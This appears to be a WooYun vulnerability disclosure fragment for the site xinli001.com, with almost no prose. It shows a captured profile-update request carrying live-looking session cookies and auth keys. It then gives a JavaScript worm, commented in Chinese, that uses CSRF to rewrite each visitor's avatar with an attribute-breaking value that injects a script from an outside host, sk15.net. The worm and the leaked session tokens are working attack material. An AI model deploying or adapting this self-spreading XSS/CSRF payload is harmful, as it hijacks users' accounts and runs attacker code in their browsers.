WooYun.org

POST /ajax/update-user-profile HTTP/1.1
Host: www.xinli001.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://www.xinli001.com/user/setting
Content-Length: 49
Cookie: lzstat_uv=38348821501812510113|2646296@3462520@3562675@3597499; Hm_lvt_d64469e9d7bdbf03af6f074dffe7f9b5=1446107039,1446179415,1446188216,1446432295; laravel_session=eyJpdiI6IjNsNzN1clJXK25IUDBtY3BrZVRja3c9PSIsInZhbHVlIjoiWVVWbG94b3YzTXNCc0hPY3BjUXdpczJaVGZiSVBnSFdYZ1ArMDZmbzNBUVpJdEtKWHFQRDM2Z3IySEJMRmczZEZtQlIrZGYwMVN1UTA3VFlBTm8xS0E9PSIsIm1hYyI6IjIxY2FkYTkyMmYwYjc5ZjAwZTZjMzY4ZWQ5NWM4ZDQ0MmJmZTY0MzMwYTczNjI5MzQ4NWEzNTE1OWU1NmE1N2IifQ%3D%3D; sessionid=6pww0c6ccqhi193nijiwbtu8yypoitxf; expires=Fri, 06-Nov-2015 06:14:39 GMT; bdshare_firstime=1446191998449; common_auth_key=ef825bd915065102b725a482c9792bae; lzstat_ss=1919308479_1_1446473629_2646296|1591989281_2_1446461522_3597499|988365104_1_1446461581_3462520; Hm_lpvt_d64469e9d7bdbf03af6f074dffe7f9b5=1446444830
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
avatar=http%3A%2F%2Fwww.sk15.net%2Fimg%2Fsk15.ico

(function(){
	
	/*
	 * 蠕虫开始，访问者CSRF提交修改头像
	 */
	$.ajax({
	    type: "POST",
	    url: "/ajax/update-user-profile",
	    data: {avatar:'http://www.sk15.net/img/sk15.ico"><script src="http://www.sk15.net/js/sk15.js"></script><'},
	    dataType: "json",
	    success: function(data){
	               } });
	
})();